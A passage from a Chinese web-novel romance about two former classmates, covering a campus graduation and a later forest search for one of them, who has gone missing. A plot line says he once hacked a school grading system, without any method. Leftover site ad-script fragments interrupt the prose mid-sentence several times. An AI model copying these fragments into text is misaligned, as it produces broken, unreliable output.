“论文致谢里都有名字了,这里也得说,别人有的,你也得有。” “我就是有点,不习惯,”童宽拧着眉毛笑了笑,“感觉被拉到台前了。” 陈艾卅停顿了一下,“你本来就应该站在台前,拥有光鲜,一年之后,他们会发现计算机系有个闪闪发光的人,拿着自己研发的APP,已经走到了很前面。” 童宽咽了一口唾沫,看向陈艾卅的眼睛里还有些不定,“我可以吗,卅哥?” “你不可以的话,没人可以了。”陈艾卅笑着摇了摇头对童宽说,“勇敢一点,大胆一点,张扬一点,恣意一点,我这还没戴滤镜呢,戴上的话更不得了了。” 童宽抿着嘴点了点头。 他们走到草坪上的时候,碰到了陈艾卅的其他三个室友,有两个身边还有女同学,陈艾卅大方地和他们打招呼,先和那个单身的邵珏斐说了谢谢他这段时间不不回学校,能把床位和书桌空出来,邵珏斐笑着说了声小事,接着就问出了刚刚在礼堂那边台下人都关心的问题,“不介绍一下你的万中无一吗?” 陈艾卅自知逃不过,他也大方,并没有牵起童宽的手,而是以非常平等、尊重的手势放到了童宽的面前,“童宽,研一,计算机系的。” 邵珏斐的眼睛都瞪大了,虽然表示了惊讶,却不带半点嫌弃,直白地问了出来,“是他?男的?” “男的。”陈艾卅肯定地点了点头。 邵珏斐立刻向童宽伸出了手,“你好你好,我是邵珏斐,陈艾卅的同学。” 童宽和他握了握手,“你好,学长,谢谢你的床铺。” “你们,没睡一起?”邵珏斐一句话出来,陈艾卅和童宽都笑了出来。 “你管呢,那么多事,你怎么不回来自己看。”陈艾卅对着他笑骂了几句。 “我回来还得了?我回来你俩肯定瞒着我啊!”邵珏斐又把头转向童宽那边,“说实话,小学弟,陈艾卅这个条件,大学里头不谈恋爱,我真的怀疑过他天生就弯,你不要在这方面有什么负罪感哈。” 童宽哭笑不得,不知道该怎么回复,只好向陈艾卅看过去。 “不用理他,他至今单身不是没原因的。” 这会儿刚刚在拍照的另两位室友也过来了,只是看了一眼,就对陈艾卅挑了个眉,两个人一人一句,“没想到啊”给陈艾卅刺激得不轻,有个人还说,“幸好你对我没什么非分之想,不然我都不知道该怎么拒绝你。” 陈艾卅就啐人家一句,“你也不看看自己什么熊样,心态怎么就那么好呢。” 那人模仿了中箭的样子,又小小声说了句,“女朋友面前给点面子嘛。” “我男朋友也要面子啊。”陈艾卅又怼了一句,几个人笑作一团。 拍照环节先是四个老室友合了照,接着两个男生和自己的女朋友拍,期间想问陈艾卅借他手里的花,陈艾卅不给,他俩就去求童宽,童宽心软,又觉得是陈艾卅的同学,两边为难着,虽然没说出口,但这眼神里都在一下下地喊着“卅哥”,看得陈艾卅也跟着心软。 “听你的。” 这三个字一出来,那两位室友可真一点儿都不掩饰了。 “陈艾卅啊!你也太……夫管严了吧?一束花都要听老……公的了?” 陈艾卅听了就笑,童宽却有点上脸了,“听老公的怎么了,我有老公我骄傲啊。” “得得得,”俩人又对着童宽讨好,“小学弟,不是,宽哥!宽总!花借我们拍一下照,都是家里催得紧,我们也是带着任务来的。” 童宽在极度脸红的时候,木讷地点了点头,算是同意了。 那两对在拍照的时候,陈艾卅、童宽和邵珏斐就坐在草坪上,有一搭没一搭地聊着。 “你什么时候去伦敦?” 邵珏斐叹了口气,两脚往前面一伸,手向后撑着,淡淡地说了一句,“去不了伦敦了。” “怎么回事?” “发生了点事,我也,”邵珏斐又叹了一声,“谈了个恋爱,分手了,跟家里闹得挺厉害的,当时倔,一气之下没申请,后来分手了,也错过了报名时间。” 陈艾卅和童宽都没说话。 “恋爱这玩意,我真谈不明白,”邵珏斐自嘲地笑了笑,“不过幸好,我又申请了巴黎的学校,就是现在在学法语,有点头疼,你说那会儿我怎么二外选个日语的?” 陈艾卅拍了拍邵珏斐的背,“没事,有方向就好。” 邵珏斐点了点头,又对童宽笑了一下,“宽总,陈艾卅以前可没这么有人情味,要是以前我跟他说这种事,他都不稀得搭理我。” “就你话多。”陈艾卅又拍了他一下。 好不容易那两对都拍累了,都坐到了草坪上,女生们整理着头发,男生们眼睛里没有焦点。 “没想到,这么几年后,还是只有陈艾卅留在这里了。”邵珏斐突然感慨了一句,大家就都没说话,伤感混着气温落到了每个人的心里。 一直没有主动说话的童宽,眼睛里看着别的地方,好像无意识一般地,轻轻地说了一句,“我也会留在这里的。” 陈艾卅先是对上了其他几个人的眼睛,然后露了个笑,“我们家小孩就是这么可爱。” 直到陈艾卅一点不避讳地握上童宽手的时候,他才回过神来,对着陈艾卅“嗯?”了一声,陈艾卅捏了捏他的手说没什么。 几个人谈到毕业的时候有些伤感,但也有些期待,两位备战考公的已经上岸,邵珏斐也即将远行,陈艾卅也要去公司里上班,每个人的人生轨迹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在这一刻都发生了不同方向的变化。 这些年里,矛盾也好、不爽也好、酒醉也好、痛快也好,组成了几个大男孩的这些年,如今要分道扬镳,对彼此都只有祝福。几个兄弟们碰了拳,三个男生还都跟童宽碰了碰。 大家从草坪上起来的时候,都在拍屁股上沾的枯叶,这时候不知道是从哪里来的几个人,朝着童宽的方向咂嘴,啧啧啧的样子特别讨厌,陈艾卅一下就火儿了,想要冲过去和人理论几句,童宽立马拉住了他的胳膊。 “卅哥,别去。” “他们怎么没完没了。” 童宽露了个轻松的笑,“没事,真没事,别在意。” “不行今天非得找他们说说这个事。” “卅哥,”童宽有点着急,“安全绳,记得吗?” 陈艾卅一下就冷静了下来。 “真的闹起来,再在政教那边走一遭,”童宽皱眉说着,“刚拿到的证书又被扣下了怎么办。” 旁边的室友都没说话,邵珏斐对着看过来的几个人比了个中指。 陈艾卅就停住了。 “真的不跟我走读吗?” 童宽挠了挠头,“我如果在外租房,很多补贴没办法申请了就。” 陈艾卅叹了口气,几个室友都在这里,贸然公开说童宽的事总是不合适,他只能点了点头。 宿舍几个人计划晚上大家一起吃顿饭,陈艾卅说他和童宽说会儿话,一会就跟上,几个人立马懂了,迅速收拾了东西离开了。 这时候又到了夕阳,陈艾卅记得,第一次认真吻童宽,也是在这个时间段,他在此刻也认真地看着童宽。 “我想做一件事,想先得到你的允许。” “卅哥,你说。” “我们合影一张吧,接吻的合影,就在这里,可以吗?” 童宽看向了陈艾卅,嘴唇微微张开,过了一会儿,才点了点头。 陈艾卅的手机打开了前置摄像头,往旁边举了起来,找了个角度,确保他和童宽都在镜头里。接着他慢慢靠近,就在学校里人来人往最频繁的草坪这,吻上了童宽的唇,不是轻轻的亲亲,也不是厚重的舌吻,双唇相贴的时候,陈艾卅的唇抿了一下童宽的,又轻轻吮了一口。 他拍了很多张,他不知道哪张合适,童宽却跟他说,都发给他,陈艾卅就笑了。 “还有一件事。”陈艾卅看起来有些紧张,似乎自己接下去说的话会有点冒险。 童宽却轻轻笑了起来,“卅哥你是不是想发到论坛上?” 陈艾卅有些讶异,却也点了点头。“可以吗?” “我不知道。” “没有别的意思,我只是想让他们知道,你无比优秀,有人为你着迷。” “我来发吧,”童宽说,“这样看起来比较像自证,如果有什么问题,也不会影响到你。” “我发,我希望你影响我,希望你自私一些,”陈艾卅揉了一把他的脑袋,“况且,在被拍到抱你的那天晚上,我们早就绑在一起了,不是么?” “坐实八卦?”童宽笑着问他。 陈艾卅摇了摇头,“是事实。” 童宽点了点头。 陈艾卅第一次用手机打开了学校的论坛,发出了他在学校论坛的第一个、也是最后一张帖子,里面只有一句话和一张配图。 “给你们介绍一下我的万中无一。” 晚上的风有些大,不知道是因为这天的路灯太亮,还是别的什么原因。 陈艾卅总觉得童宽的眼睛里的水光特别明显。 36. 封尘 “小伙子,你慢点,慢点,上140我这车就飘了。”戴师傅坐在副驾,右手把着车门,整个人都靠在椅子上,嘴里忍不住叨叨陈艾卅。 “嗯嗯,知道,现在139码。”陈艾卅跟没听懂人说话似的,踩着油门的脚还是不松手。 “……超速罚款,你付。” “我付我付。” “分也扣你的。” “行行,”陈艾卅头都没离开正前方,“戴师傅,红牛帮我拆一罐,渴死了。” 戴师傅皱着眉看了看陈艾卅,又十分嫌弃地从塑料袋里拿出一罐红牛,食指勾过易拉罐一拉,陈艾卅正好踩了一脚刹车,洒了一些出来,戴师傅刚想说些什么,陈艾卅就开了口。 “刚路上有只被碾了的猫,我躲了一下,不是睡着了。” “……嗯,”戴师傅也看见了,他以为陈艾卅会不管不顾压过去呢,没想到这他也注意到了,他递过了红牛,“喝吧。” “洒了些出来,不好意思啊。”陈艾卅扯了个难看的笑,他知道自己已经在超负荷运转了,但还是不想让身边的人不舒服,这会儿速度降了些下来,陈艾卅拿过戴师傅手里的红牛,咕嘟咕嘟喝了好几口,就放在中控饮料架上了,“谢谢。” “快出高速路了,你别太快,那边容易被查,”戴师傅想了想又补了一句,“查是肯定查不出什么来的,就是怕浪费你时间,不还是要抓紧去找你爱人么。” 陈艾卅点了点头,“哎,知道了,上了匝道我就慢下来。” 远处的天已经微亮,陈艾卅把驾驶座这边的车窗放了下来,一股清晨特有的潮湿冷空气从窗外漫了进来,陈艾卅没忍住打了个喷嚏,他这会儿才觉得刚刚哭的眼睛酸胀发疼,用力眨了眨眼睛后,他看到前方有2KM出匝道的牌子,从后视镜看了看,后方没有车,前方也没有车,戴师傅这会儿也安静着,陈艾卅心里冒出了一股念天地之悠悠的怆然感受,可他已经没时间矫情了,右边的实现成为虚线后,他打了右转灯,方向盘往右边一打,就换了根车道,接连着他又换了一根,到了最右侧的车道。 再往前开几百米,就能到匝道口了,这个小城上次来的时候还是在学校的时候,那会儿是跟着外联部活动的大巴一起来的,他对这里的路其实并不熟悉,来时的路他的注意力都在童宽身上,他会让童宽坐靠窗的位置,在童宽仰着张嘴睡着的时候把人捞到自己的怀里来,他记得童宽睁开眼睛时候的满足和快乐,还有一路上无数次他转过来,眼睛亮晶晶地看着陈艾卅,跟自己说,“卅哥,你看到了吗,这里好漂亮。” 陈艾卅的心里其实在说,世界上的景色再美,哪有你真。 可他到底还是没说出口,那时候他还是有些羞涩,可现在陈艾卅真的很后悔,他当时就应该不厌其烦地对童宽说,你很好、你很帅、你很可爱、你是全世界最优秀的人、你是世界上第一个满足干净清爽帅气的男孩子,你是我陈艾卅一生想要珍爱的人。 满腔的甜言蜜语,在此刻化成了咸酸的泡沫,就在陈艾卅的心尖尖上冒着。 陈艾卅是在看到指示牌后才真正开始减速的,他知道一路以来戴师傅的表情都不太好,他知道除了担心他的车子之外,还担心着陈艾卅的人,路过收费站的时候,陈艾卅把从高速路口取下的记录牌给到工作人员,栏杆抬起来的一瞬间,陈艾卅有些恍惚,也有些害怕,他这会儿才真正开始担心起来找不到童宽怎么办,或者,如果童宽除了意外怎么办,一路上不愿意思考的问题,此刻在脑子里疯狂徘徊,陈艾卅把停到了临时车道上,声音里带着些颤抖。 “戴师傅,最后一段路你来开吧,就那个派出所门口就好。” 戴师傅没有问原因,直接点了点头。 陈艾卅记得,七年前自己来这边时,周围大多数都是自建房,就连合适过车的路,总共也没几条,大巴只是把他们都放到了一个路口,就走了,十几个人都背着登山包,有的拉着行李箱,一起徒步,走过路边的门面房,走过农田,再路过一片村子,才到了了防护林保护站。可眼下这会儿,两边的商品房与他所在的一线城市的商品房别无二致,路边不仅开了小超市,还有几家全国都能看到的连锁牌子,一路上再没看见农田,村子倒是还有,就是房子好像都统一翻新过了,看起来更像是别墅小区。 竟然已经过去七年多了,哪里都发生了翻天覆地的变化。 可不是么,他又心里想,七年前满怀信心地要和童宽很久很久,七年后自己竟然亲自断送这份感情。 很快,派出所门口到了,陈艾卅却坐在车上没有动,戴师傅也没有催他。 “戴师傅,我坐一会儿,就一会儿。”他咽了一口唾沫,“您要不,下去抽根烟?” 戴师傅点了点头,就开了车门走开了,他并没有呆在车门边上,而是走到了路边,才开始拿出烟的。 他真的好怕。 他怕找不到,也怕找到的是另外一幅景象。 他只能接受在自己面前活蹦乱跳的童宽,其他的所有,他连想都不敢想。 手机又响了,陈艾卅看了一眼,还是徐熠,他接了起来。 “你到哪了?”没有寒暄,徐熠直奔主题。 陈艾卅如实回答:“在派出所门口了。” “我刚刚给林琦打了电话,”徐熠声音里有些不太寻常,“除了房贷,他个人已经没有贷款了,其余都是公司的经营贷,这两个月他还了不少,还剩两百万左右,不多。”徐熠又停顿了一下,“如果把房子卖了,童宽是有这个能力把贷款全部还清的。” 陈艾卅没有说话,他在等徐熠的“但是”,徐熠他没有太深入接触过,只觉得他是一个精明的商人,硬要说的话,对童宽的确还带点良心和好意。如果只是常规债务,徐熠绝对不会在这个时候给陈艾卅打电话,找到童宽始终是最要紧的事。 但徐熠迟迟没有开口,弄得陈艾卅也非常着急。“你接着说,说完了我好去找他。” “你记不记得,那时候我和童宽合作的项目,项目来源的那个老师是我们管院的外聘教授?” “那个要回扣的吗?”陈艾卅眉毛皱了起来,他对那个教授的观感不太好,所以那次之后,才和童宽说,以后就不要和徐熠走太近了。童宽那时候笑着问自己是不是吃醋,陈艾卅没多解释,也算半承认了下来。“最后你不是还劝他给那老头返一点吗?” “是,”徐熠口气里也不太好,“我他妈能有什么办 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 法,要不是你拦着,那教授就不会当他面说那话了。” “别扯皮,”陈艾卅驳了回去,“他那个操行指不定什么时候会说出那种话。” 当着童宽的面,说他没爹教么,怎么这么不懂道理,叫是陈艾卅不在旁边,要不然真要和那老头杠起来。 “陈艾卅,你真的很天真。”徐熠的口气冷下来。 陈艾卅心里一惊,总有些不好的预感,嘴里却没有半分软下来,“快说,别墨迹了。” “我查了童宽公司的股权结构,”徐熠难得语气里也有些慌乱,“除了正常的投资人、原始股东之外,那个老头也占了10%的股份,我不知道为什么。” “什么?!”陈艾卅直接身子直起来了,又追问了一句,“那老头占10%?凭什么?” “我还没弄清楚,所以想先来问问你,我也问了林琦了,合同不是她经手的,这老头创业初期就在了,一直持有10%,即使其他的股权变动,他的原始股占比一直没有变过。” “徐熠,”陈艾卅心里头开始发慌,“你们俩做的什么事,让这老头抓到把柄了?还是童宽主动承担下来什么东西了?” “天地良心,有一说一,虽然这老头讨厌,但是给的项目我们都是认认真真在做,而且报价部分也不是我们自己报的,他给多少我们就要多少,根本没和他拉扯过。还有,你自己用脚想一想,我他妈是童宽的谁,我倒是想是他的谁,他为我主动承担,你疯了吧,你要不想想你自己吧!!” 徐熠一顿输出直接把陈艾卅干蒙了。 陈艾卅的脑子开始发乱,他甚至觉得有一些不好的陈年往事会被重提。 徐熠刚刚的那段话,好像是一个引信,陈艾卅看向在外抽烟的戴师傅,他的烟头正一明一暗地发着光,陈艾卅觉得这个光成为了记忆里的火星子,直掉到了徐熠的话上,火光追随着这个引信,一路通向了过去。 陈艾卅的眼睛已经开始失焦了,他反复思索着和童宽在学校里发生过的几件事。 童宽并不是对谁都能主动承担,陈艾卅见识过他对李非的斤斤计较,还有跳槽时候对意向金的执着,如果非要说的话,也只有陈艾卅自己,有这个可能,让原本就一无所有的童宽,为他主动承担一些额外的东西,比如风险。 他和徐熠的电话没挂,陈艾卅说出那句话的时候觉得自己的肋骨都有些发疼。 “徐熠,求你一件事,找到这个老头,然后问问他,七年前他有没有批阅过英语系的毕业论文。” 徐熠有些莫名其妙,“什么意思?” “其实最好你见到他给我打电话,”陈艾卅捏着电话的手有些发抖,“但我怕我一会儿进了林子里,就没有信号了,你帮我问吧。” 他没等徐熠再次发出疑问,“然后发生了什么,问仔细一些,然后给我留言。” 徐熠的声音也紧张了起来,“这么严重吗?” “我等你消息,挂了。”陈艾卅没有回答他的问题,直接挂掉了电话。 他手里拿着手机,伸着脖子往挡风玻璃那朝上看了看天空。 陈艾卅已经哭不出来了。 他只是觉得,他家的傻小子,应该干了不少傻逼事。 37. 启程 和戴师傅告别的时候,陈艾卅有些心不在焉,可能有些太晃神了,戴师傅就说要不少收点钱,陈艾卅立马说不用不用,他只是在想一些别的事情。最终陈艾卅多给了戴师傅一晚的住宿费,说不要自己逞能直接开回去,媳妇再着急也要休息好,戴师傅看着陈艾卅的表情很复杂,仿佛在说,你才是需要休息的那个人,陈艾卅读懂了,他伸手拍了拍戴师傅的胳膊表达感谢,戴师傅还主动问他要了微信,说如果找着人了记得跟他说一声,陈艾卅就点了点头。 现在才早上七点多,派出所还没正常上班,他先在门口打了个电话,值班的说负责人八点才来,让他要不就门口位置上坐着等一会儿。陈艾卅手里的塑料袋里还装着两罐红牛,再看一眼发现还有一包面包,应该是戴师傅临走前又给他塞进去的,他深深吸了一口气,没有踏进派出所的门,反而在门口的石阶上坐了下去,他已经顾不上西裤会不会蹭上灰,所有的狼狈都不如现在心里的万分之一。 面包居然是有红豆馅的,一口甜的吃进嘴里,心里头又冒出了一些酸,冲上鼻子、冲上脑子,然后就自顾自地蒸发掉了。红牛就着面包吃实在口感不怎么样,功能性饮料喝多了还是觉得嘴里觉得腻,想再开一罐的时候陈艾卅停住了手,一道阳光正好射了过来,在红牛黄色的罐子上闪闪发光,手背皮肤上多了一些温热的暖意,秋意已经这么凉的地方,阳光还是会努力地把照耀到的地方焐热,他把这罐红牛放进了包里,一路过来,他什么都没带,连给童宽补充体力他都没来得及想,他已经有些后悔,怎么就把这个面包吃了。 好在,思绪还没发散得太厉害的时候,派出所来电话了,说负责的民警来了,让他进去。 陈艾卅走进派出所后,大厅中站着一个四十岁左右的人,也许是陈艾卅的颓然太明显,那人直接就对他问是不是来找童宽的,陈艾卅点了点头。他跟着民警先去了咨询室,陈艾卅有些茫然。 “警察同志,我们不直接出发吗?” “得先做个笔录,身份证拿出来一下,叫我郭响就可以了。” 坐在咨询室被问话的感觉,和坐在会议室里被问话的感觉太不一样了。 郭响知道自己的基本情况,所以跳过了那些基础的环节,核对了一下他的身份证后直奔主题。 “童宽找回来的可能性已经很低了,你知道吧?” 一股寒意从陈艾卅的身体里激起来,他点了点头,“知道,但你们不会放弃吧?” 没想到郭响抬头看了一眼他,“有线索的情况下我们是不会放弃的,但如果线索断了,我们也没办法维持搜救。” 陈艾卅皱着眉不说话。 “这里有个知情书要你签一下,童宽没有别的联系人,”郭响看着陈艾卅的眼睛没有动,一字一句地说着,“如果你说不找了,在目前的情况下,我们的确可以不搜救,人,你还找吗?” “找,当然找,一定要找,”陈艾卅急了,“七年前我和童宽来过这里,我大概知道一个方位,从本身来说,我也是重要的线索,请你们千万不要放弃。” “你怎么在电话里没说?” “我……”陈艾卅有些绝望,“不知道该怎么描述那里,只有真的到了那边,才能找到路吧,郭响同志,我们什么时候出发?” “别急,你还得再回答我个问题,”郭响组织了一下语言,他有点不知道该怎么继续说下去,“如果童宽找到了,你下一步打算做什么?” 做什么……陈艾卅脑子突然短路了,如果童宽找回来了,他要做什么?关心和乞求原谅,更多的呢? 他摇了摇头,没什么比童宽真的回来了更重要。 “如果他想见我的话,我再见他,如果他不想见,我什么都不会做,只要他回来了就行。” “冒昧问一句,你对他还有感情吗?” 陈艾卅自嘲似的笑了笑,“我对他一直有感情,我们分手也不过是我闹的笑话罢了。” “签字吧,然后和我一起去站点那边。”郭响把知情书推到了陈艾卅面前,又给他一支笔。 陈艾卅之前在文件上的签名很好看,不是那种龙飞凤舞的字体,而是有着棱角分明的力度,而他这会就像个小学生一样,一笔一划地在知情人那写着自己的名字,最后一竖写完的时候,陈艾卅甚至觉得有些脱力。 他开了口,嗓子却哑了,“郭响同志,可以出发了吗?” “可以了,我开车,”郭响的声音毋庸置疑,“你在车上睡一会,不过你还是先去洗把脸吧,出门右转就是洗手间。” 陈艾卅没有反驳,走进洗手间里用冷水洗了一把脸,这边靠山,水温偏低,水扑上脸的时候,陈艾卅有些被凉到了,精神也随之好了一些,他看见自己的额头上冒了一颗痘,昨天还没有的东西,用手一碰还有点疼,他想起来之前童宽额角也有个地方容易长痘,每次那里一长痘,童宽就和陈艾卅说他破相了,然后陈艾卅说这是童宽的小触角,不让他用手去抠,长此以往,童宽就会和他说额头上的触角又活了。 坐上郭响车的时候,林琦给陈艾卅打了个电话,就是确认下徐熠做这些事是不是陈艾卅授意的,得到陈艾卅肯定的时候林琦才放下心来,她说知道有个陌生人持股10%的事情的确给她吓得不轻,陈艾卅没透露出什么,就说让徐熠去查了,如果有什么他会再给自己打电话的,临挂之前,林琦跟他说,自己也要注意安全,她那边等着他和童宽一起回去主持大局,陈艾卅安慰了几句就把电话挂了。 两个人到了巡林站,问了巡林站借了两件厚棉袄,登山杖和手电,郭响又确认了一下自己带上了对讲机和卫星电话,才和陈艾卅出门,陈艾卅坚持要背自己的包,他说里面没什么重的东西,最要紧的还是这个包本身。 郭响请了一个老巡林员来当向导,陈艾卅看他谨慎的样子有点着急也有点慌,又问要不他自己和巡林员去得了,就让郭响在这里等着,郭响冷笑一声,说他可要确保童宽的安全,激情杀人比比皆是,陈艾卅白了他一眼,也不想多做解释。 没想到刚出门,徐熠的电话就来了,陈艾卅有些为难。 可一想到进了林子之后,手机就没信号了,他还是决定先接了电话来,他请郭响等他一下,他接个电话就来,郭响没什么好气,嘟囔了一句找人呢在,怎么还接电话没完没了的。 “喂,”接了电话,陈艾卅没等人说话,先说了一句,“我到当地巡林站了,马上要进林子里了。” 徐熠顿了顿,说出的话有些犹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 豫,“那要不,等你找到童宽了再说?这事也不着急其实。” “你说吧,你不说我心里不踏实。” “那先说好,我说这事你别疯,该找还是要找童宽。”徐熠说完了又说了句,“要不我也过来,我当面跟你说,你先找也行。” “你还怕我不找他吗?”陈艾卅叹了口气,“说吧。” 两人都沉默了一会儿,徐熠还是开了口。 “我一开始以为,童宽做了什么对不起你的事。我真该死。” “徐熠,”陈艾卅皱眉,他从来没有往那方面想过,童宽有多干净自好陈艾卅最清楚不过,“你是真的该死。” “我联系上那个教授了,给他打了电话,当然了,用了一些手段。” “废话少说。” “这老头的确批阅过你的毕业论文,还打了个重大修改延期,”徐熠顿了一下,“本来系统是保密的,童宽黑进系统里看到是谁打的分了。” 陈艾卅没忍住咽了一下,眉头皱得更紧了,“然后呢?” “然后……我不确定的是,这老头是因为童宽给你打的这分,还是因为你这个分,童宽自己去找的老头。” 陈艾卅有些茫然,“我没听懂,你再说一遍。” 电话那头的徐熠语速放得慢了一些,“我是说,我不知道是因为童宽,你才被打得低分,还是因为你被打了低分,童宽才去找那老头商量的。” “你没问清楚?”陈艾卅语气有些不好,“就来给我打电话?” “那老头电话里不肯细说,我约他见面了,”徐熠没搭理陈艾卅的责怪,“先来问问你,有什么想问的。” 陈艾卅的思路被卡住了,已知的这些信息,已经在陈艾卅的脑子里拼凑成了一个又一个的故事,他不敢去想那老头的10%原始股和给自己打重大修改是什么关系,无论是因为童宽做项目的时候得罪了他,还是因为自己的原因童宽去找老头,哪一个选项,陈艾卅都是被隔绝在外面的,结果就是童宽选择一个人去面对了。 “你就,”本来以为不会再哭的陈艾卅,眼睛里又蓄上了泪,“问问他,怎么让童宽同意给他10%原始股的吧。” “你在害怕吗,陈艾卅?”徐熠问。 陈艾卅吸了一下鼻子,诚实地说:“怕。” “你要把童宽带回来,知道吗?”徐熠说话的声音好像很远,“无论生死,都要带回来。” 陈艾卅的点头徐熠看不到,他有些发不出声音了。 童宽啊,你到底在做什么啊,有什么是不能和我说的呢? 你怕什么呢,你不会失去我的啊。 都七年多了,你怎么还是不肯跟我说实话呢? 责骂我啊!怪罪我啊!打我也好!杀了我也行! 你那天晚上怎么就,一句话都不肯说呢。 陈艾卅定了定心神,语气也冷静下来了,“有什么消息记得跟我说,我看到了就会回复。” 电话挂了后,陈艾卅在门口找到郭响。 郭响问他:“你没事吧?” 陈艾卅摇了摇头,书包又往上抬了抬,“走吧,去找他。” 找到你后,就跟我说实话好吗。 陈艾卅捏紧了拳头。 38. 泥沼 一开始陈艾卅、郭响还有那个老巡林员都在林子的外围走动,直到真正进了林子,陈艾卅才感觉到里面的温度比外面低,他没忍住打了个激灵,郭响问他要不要披个保温毯,陈艾卅说不用,他适应一下就好了。 七年对于树林来说,其实差别不是很大,只是植被的疯长,让陈艾卅已经记不得之前走过的路了,他记得自己之前可以毫不犹豫地找到那个断层的地方,但现在好像成了一个谜。老巡林员在前面开路的时候很认真,手里还拿着一把镰刀,一边开路一边提醒后面跟着他的两个人注意脚下,他们现在是要先去和搜救队会和,童宽挂着的那两条衣服还在他们手里。 陈艾卅这次来没有做足准备,自己只是穿了一双普通的运动鞋,灰白色的鞋面已经蹭上了不少泥泞,偶尔踩到一些树根的时候觉得脚心特别疼,他已经很久没有户外运动了,平时最多出去跑步游泳,或者平时出差的时候在酒店里去一下健身房。 他记得之前和童宽同居的时候,自己看着童宽细胳膊细腿的,说他这样怎么能作为老板服众,一定要把自己的气场锻炼出来,童宽就抱着他的胳膊说他又懒又累,平时敲代码已经是手指的极限运动了。一开始陈艾卅还惯着他,后来看他的确就往电脑前一坐也不动,陈艾卅后来就硬拉他出去散步,走着走着还会跑起来,陈艾卅总是跑在前面让他跟上,童宽就跟在后面叫着卅哥慢点地跑。江边的小风一直很舒适,那条道上还有一个临江的小游园,里面有一些市民健身设施,平日里都是一些老年人在那儿聚着,到了晚上基本没什么人,陈艾卅就拽着他,又是做拉伸,又是扭腰的。童宽觉得特别羞耻,但还是会听陈艾卅的话,但在这时候他会要求陈艾卅和他一起做,跟陈艾卅说不想就他一个人丢人。 童宽的确在陈艾卅的监督下稍微壮实了一点,就是怎么吃都吃不胖,陈艾卅都起了带他去查内分泌的念头,童宽就和陈艾卅说动脑子也算是消耗,然后对他眨眨眼睛,陈艾卅就知道童宽在使坏,两人就会闹到一块儿去。 有一个树桩子陈艾卅没看到,绊了一跤,幸好郭响扶起得及时他才没摔倒,陈艾卅不好意思地扯了个笑,三个人一路无话往林子的深处走去,老巡林员突然开了口说快到搜救队那边了,陈艾卅又开始心慌,他突然觉得自己一路过来的这些折磨也算不上什么,真的到了这个地方,真正在找童宽的时候,每一个没有童宽消息的一瞬间都化为了钝刀,一刀刀割在陈艾卅的心脏上。 他们先是看到了一顶挺大的帐篷,帐篷里坐了两个人,手里捧着搪瓷杯正在喝水,见到来人了立马站了起来,郭响先走了过去,和两人打了招呼,这俩人说是轮着找,自己在这歇息,等另外两个人过来了再去,每次都会标记地点,其中一个人说话没把门,抱怨了一句都那么久了人可能真的没了,也没人来催着办,要不就先回去再等等线索。话说完了突然几个人就静了下来,郭响一下扭头过去看陈艾卅,陈艾卅的眼神用凶狠来说也不为过。 “老卅老卅,别冲动,哥们不是故意的,”郭响立刻走到了陈艾卅身边解释道,“一直在找,没人放弃过,他就是累了说两句。” 一句话把陈艾卅还没发出来的火先堵了回去,但还是说了一句话,“你们什么时候不打算再找了,东西留给我,我继续。” 郭响还没来得及介绍,那人皱了皱眉,问了句,“你谁啊?” “失踪人的家属。”郭响立刻把话抢了过来。 “哥哥吗是?”那人埋怨地看着陈艾卅,“你们怎么能让他一个人来这里。” 真正让陈艾卅消火的,是他后面的那句话,无数次责怪过自己的话。 “他是我爱人。”陈艾卅回答了他的问题,并没有管听到的人的表情。 没有人再接话了,大家都挺沉默的,他们无法应对陈艾卅这份特殊的爱。 “可以走了吗?”陈艾卅催促道。 “稍微再等十分钟吧,休整一下,补点东西,”郭响转过头去冲着老巡林员,“刚刚带来的姜茶粉,麻烦你交给他们一下吧。” 这个帐篷应该就是搜救队的临时休息点,简陋到帐篷里只有一张板搭起来的桌面和几张折叠椅,桌面上放着几个搪瓷杯和三个热水瓶,还散落着一些压缩饼干,的确搜救一个人来说,的确也让这些人吃了不少苦头,陈艾卅心里泛起了一股感激,但更多的还是着急。 他往自己带来的保温杯里也灌上了一些水,他还带了一包冲咖啡用的那种白砂糖,倒在了保温杯里,倒完了却自己不喝,整个放进包里,又在桌子上拿了一小包压缩饼干,这些动作郭响都看在眼里,却始终没有说话。 陈艾卅了解到,这片以前专供伐木的林子已经逐渐转向保护林了,一方面得益于之前有不少学校的社团来组织活动,另一方面社会各界也逐渐对环保有了新的认知和意识,所以这几年林子的长势还是很好的,不过现在已经没有再和大学联合做那些活动了,林子一密,人也不好找,不安全,陈艾卅点了点头。 他就职的公司主营业务就是环保纸,他们公司在全球都有林业相关的业务往来,所以在这方面他也算半个内行人,对于这里林业的用途也简单问了几句,老乡说现在搞这些可吃香了,有些科学家到他们这边来也不干别的,就让他们统计树的量,然后做一些测算,说是可以发挥林业的剩余价值,申请一些碳补偿碳抵消的项目,不仅能保护好林区,还可能给这片地方带来更多的工作机会。 陈艾卅皱了一下眉,他突然觉得童宽来这里也不仅仅是为了怀念和陈艾卅的那些时光,可能还对未来有些考量,那些以贩售数据为形式的业务,正是童宽擅长的领域,陈艾卅突然抓过了郭响的胳膊,特别兴奋。 “郭响同志,童宽来这边很可能也是来做调研的,他的公司破产了,他来这里找新的机会,他一定不会想不开来这里轻生的。”陈艾卅说话的时候眼睛都亮了。 郭响看了陈艾卅一眼,“你确定?” “我确定,”陈艾卅接着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说,“童宽吃过太多苦了,破产对他来说根本不算什么,重新站起来就可以了,他是来这里找机会的。” “那和你分手呢,和那些苦比起来,哪个更严重一些?” 郭响的一句话,让陈艾卅哑口无言,他是真的不确定,他此刻无比希望,自己在童宽心里的分量,不要太重才好。 随着三个人的深入,头顶上的树冠都聚在了一起,光线也随之暗了下来,空气中潮湿的青草味道更浓了,陈艾卅就跟着这俩人不断地往前走。 走着走着,他好像有点恍惚,好像回到了七年前。 